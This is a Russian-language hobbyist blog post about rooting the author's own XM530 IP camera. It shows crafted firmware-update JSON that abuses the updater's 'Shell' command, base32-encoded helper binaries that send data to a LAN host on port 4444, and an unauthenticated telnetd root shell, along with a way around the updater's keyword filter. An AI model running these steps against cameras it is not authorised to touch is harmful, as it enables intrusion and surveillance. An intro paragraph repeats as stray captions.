23 подписчика

Получение root на китайской IP камере

Для домашнего видеонаблюдения поставил себе камеру, внутри которой (по результату сканирования nmap-ом) находится какой-то старый Linux. Камера о себе пишет: XM530_80X30T_8M. Именно эту камеру не рекомендую - очень большая задержка картинки по RTRSP, отвратительный микрофон. Но есть желание поиграться с Linux, возможно, получится напрямую делать захват видео с приемлемым временем отклика.

Я не претендую на оригинальность - подобные камеры уже разобраны не один раз, на них клепают кастомные прошивки. Здесь просто фиксирую то, чем занимался лично я.

В первую очередь - ищу прошивку в общем доступе.
Помогла статья:

Сама статья старая, но на их же сайте нашлась правленная прошивка под мою камеру. Прошивка не оригинал, так что заливать не планирую - но для начала анализа ее вполне достаточно.

Как видно, формат прошивки простой. Внутри файлы:

InstallDesc
custom-x.cramfs.img
romfs-x.cramfs.img
u-boot.bin.img
u-boot.env.img
uImage.img
user-x.cramfs.img

Содержимое .img файлов очевидное - это файловые системы CramFS, SquashFS и запакованный uImage. FAR их прекрасно открывает. Внутри виден Linux, но с очень урезанным набором команд внутри busybox - нет wget, curl.

В файле InstallDesc команды для обновления:

{
"UpgradeCommand": [{
"Command": "Burn",
"FileName": "u-boot.bin.img"
}, {
"Command": "Burn",
"FileName": "u-boot.env.img"
}, {
"Command": "Burn",
"FileName": "custom-x.cramfs.img"
}, {
"Command": "Burn",
"FileName": "uImage.img"
}, {
"Command": "Burn",
"FileName": "romfs-x.cramfs.img"
}, {
"Command": "Burn",
"FileName": "user-x.cramfs.img"
}],
"Hardware": "XM530_80X30T_8M",
"DevID": "000309ED1001000000000200",
"CompatibleVersion": 3,
"Vendor": "General",
"CRC": "229307837856",
"Mx8Q": "tX8zEJIP+0Edqc8jeOX2FO07EgOQgQpardoZFdCe0b9SSeI866gzKNHTZVoeIUIZH+jSITy8M3nVlVVRR9BhjT7L6ax7FSiHf30zT5/WPTnlKzGDzhoaZ5yAvH5otuz2IaEWrZMyMeuMRbp9dDuDf2M20uxYJCT5iCp1HoLn9cEJJIk="
}

Если сделать поиск по строке "UpgradeCommand" - соответствующая строка находится в user-x.cramfs.img/bin/Sofia. Если декомпилировать Sofia, то видно, что кроме команд "Burn", поддерживаются и другие, например, многообещающая команда "Shell".

Для домашнего видеонаблюдения поставил себе камеру, внутри которой (по результату сканирования nmap-ом) находится какой-то старый Linux. Камера о себе пишет: XM530_80X30T_8M.

Однако, далее идет проверка, что внутри JSON поля "Script" не присутствуют команды "telnetd", "sleep", "/debug".

Гуглю по найденным строкам - и натыкаюсь на статью:

Если в двух словах, то в ней создается ZIP архив с одним файлом "InstallDesc" примерно такого содержимого:

{
"UpgradeCommand": [{
"Command": "Shell",
"Script": "ping -c 4 192.168.1.2"
}],
"Hardware": "XM530_80X30T_8M",
"DevID": "000309ED1001000000000200",
"CompatibleVersion": 3,
"Vendor": "General",
"CRC": "229307837856",
"Mx8Q": "tX8zEJIP+0Edqc8jeOX2FO07EgOQgQpardoZFdCe0b9SSeI866gzKNHTZVoeIUIZH+jSITy8M3nVlVVRR9BhjT7L6ax7FSiHf30zT5/WPTnlKzGDzhoaZ5yAvH5otuz2IaEWrZMyMeuMRbp9dDuDf2M20uxYJCT5iCp1HoLn9cEJJIk="
}

Таким образом камера запускает 4 пинга в сторону заданного хоста, тем самым мы можем увидеть "понимает" ли она скрипты в файле прошивки.

Автор статьи не указывал поля "CRC" и "Mx8Q", но моя камера файл InstallDesc без них не принимала. К счастью, их значения игнорировались, так что оставил как были в архиве с cctvsp.

"Прошиваю" получившийся архив - на 192.168.1.2 вижу, пинг есть:

Для домашнего видеонаблюдения поставил себе камеру, внутри которой (по результату сканирования nmap-ом) находится какой-то старый Linux. Камера о себе пишет: XM530_80X30T_8M.-2

В статье mensi.ch использовалась утилита sockconnect с сайта sockout, которую он создает в папке /var камеры через команды printf. В моем случае скрипты, содержащие символ "\" не принимаются на исполнение, а также есть ограничение на размер самого InstallDesc, так что я использую другой метод: в папке /bin есть файл base32, то есть, можно передать утилиту sockconnect в base32 кодировке, декодировать, выполнить. В моем случае порт я оставил 4444, IP адрес для коннекта == 192.168.1.2.

Итак, InstallDesc стал таким:

{
"UpgradeCommand": [{
"Command": "Shell",
"Script": "ping -c 4 192.168.1.2"
}, {
"Command": "Shell",
"Script": "mount --bind /var /usr/web/css/"
}, {
"Command": "Shell",
"Script": "echo P5CUYRQBAAAAAAAAAAAAAABAAABAAKAAEAACAABAAAQAABAAAAAASEEP4II76L7BGQACAAABAAAA>/var/sc32"
}, {
"Command": "Shell",
"Script": "echo AARAAEQVEQGIE5ITOAG7AQOAZIIQEIBDOAG7AERZWATJI3ERVDKGAAQBUHADE4AN6AQ4EAOAIJYA>>/var/sc32"
}, {
"Command": "Shell",
"Script": "echo 34ACV5O4EAOAMJYA35AEAAJHADPQEAARLTAKQAIC>>/var/sc32"
}, {
"Command": "Shell",
"Script": "base32 -d /var/sc32 >/var/sc"
}, {
"Command": "Shell",
"Script": "chmod +x /var/sc"
}, {
"Command": "Shell",
"Script": "ls -laR /var >/var/v.txt"
}, {
"Command": "Shell",
"Script": "mount | /var/sc"
}, {
"Command": "Shell",
"Script": "ping -c 60 -s 128 192.168.1.2"
}],
"Hardware": "XM530_80X30T_8M",
"DevID": "000309ED1001000000000200",
"CompatibleVersion": 3,
"Vendor": "General",
"CRC": "229307837856",
"Mx8Q": "tX8zEJIP+0Edqc8jeOX2FO07EgOQgQpardoZFdCe0b9SSeI866gzKNHTZVoeIUIZH+jSITy8M3nVlVVRR9BhjT7L6ax7FSiHf30zT5/WPTnlKzGDzhoaZ5yAvH5otuz2IaEWrZMyMeuMRbp9dDuDf2M20uxYJCT5iCp1HoLn9cEJJIk="
}

Обратите внимание на команды "mount --bind /var /usr/web/css/" и "ls -laR /var >/var/v.txt". Это для отладки. Я в логе /var/v.txt увижу, что нужные мне файлы создались скриптом, а чтобы файл v.txt стал доступен - мапплю папку /var в каталог /usr/web/css/ (в этой папке лежат CSS файлы, то есть ничего важного для работы камеры не произойдет, когда старое содержимое папки станет недоступно после "mount --bind"). А далее забираю содержимое файла v,txt браузером по ссылке http://192.168.1.10/css/v.txt (192.168.1.10 - IP адрес камеры).

Далее запускаю на 192.168.1.2 netcat на порту 4444, запускаю "обновление" прошивки - и вижу вывод команды mount:

Для домашнего видеонаблюдения поставил себе камеру, внутри которой (по результату сканирования nmap-ом) находится какой-то старый Linux. Камера о себе пишет: XM530_80X30T_8M.-3

Кроме sockconnect в sockout есть утилита sockbind, которая делает обратное - слушает заданный порт (по умолчанию 4444) и выдает на экран принятые данные. С ее помощью можно передать на камеру статически собранный telnetd отсюда: https://github.com/therealsaumil/static-arm-bins/tree/master

{
"UpgradeCommand": [{
"Command": "Shell",
"Script": "ping -c 4 192.168.1.2"
}, {
"Command": "Shell",
"Script": "mount --bind /var /usr/web/css/"
}, {
"Command": "Shell",
"Script": "echo P5CUYRQBAAAAAAAAAAAAAABAAABAAKAAEAACAABAAAQAABAAAAAASEEP4II76L7BGQACAAABAAAA>/var/sb32"
}, {
"Command": "Shell",
"Script": "echo AARAAEQVEQGIE5ITOAG7AQOBDIIQEIATOAG7EAOESQACG4AN6IA4KJAACNYA34CBYAJDTMBGSRWJ>>/var/sb32"
}, {
"Command": "Shell",
"Script": "echo DKGUMIA4DIOAGJYA34BBYAJAAQTQBXYAFL25YIA4AYTQBX2AIAASOAG7YBDAEAARLQAAAAAA>>/var/sb32"
}, {
"Command": "Shell",
"Script": "base32 -d /var/sb32 >/var/sb"
}, {
"Command": "Shell",
"Script": "chmod +x /var/sb"
}, {
"Command": "Shell",
"Script": "ls -laR /var >/var/v.txt"
}, {
"Command": "Shell",
"Script": "/var/sb >/var/td"
}, {
"Command": "Shell",
"Script": "chmod +x /var/td"
}, {
"Command": "Shell",
"Script": "ls -laR /var >/var/v.txt"
}, {
"Command": "Shell",
"Script": "/var/td -l /bin/sh"
}, {
"Command": "Shell",
"Script": "ping -c 60 -s 128 192.168.1.2"
}],
"Hardware": "XM530_80X30T_8M",
"DevID": "000309ED1001000000000200",
"CompatibleVersion": 3,
"Vendor": "General",
"CRC": "229307837856",
"Mx8Q": "tX8zEJIP+0Edqc8jeOX2FO07EgOQgQpardoZFdCe0b9SSeI866gzKNHTZVoeIUIZH+jSITy8M3nVlVVRR9BhjT7L6ax7FSiHf30zT5/WPTnlKzGDzhoaZ5yAvH5otuz2IaEWrZMyMeuMRbp9dDuDf2M20uxYJCT5iCp1HoLn9cEJJIk="
}

После "прошивки" и получения первых пингов с камеры, надо отправить telnetd-static командой "ncat 192.168.1.10 4444 <telnetd-static"

Как видно, telnetd я запускаю с ключем "-l /bin/sh", так как пароль рута неизвестен. В данном случае запустится /bin/sh без запроса пароля - то, что это не безопасно, думаю, и так понятно.

Камера перезагрузится, как только завершится 60 пингов, так что если надо больше времени - можно просто убрать "-c 60", тогда пинг станет "вечным".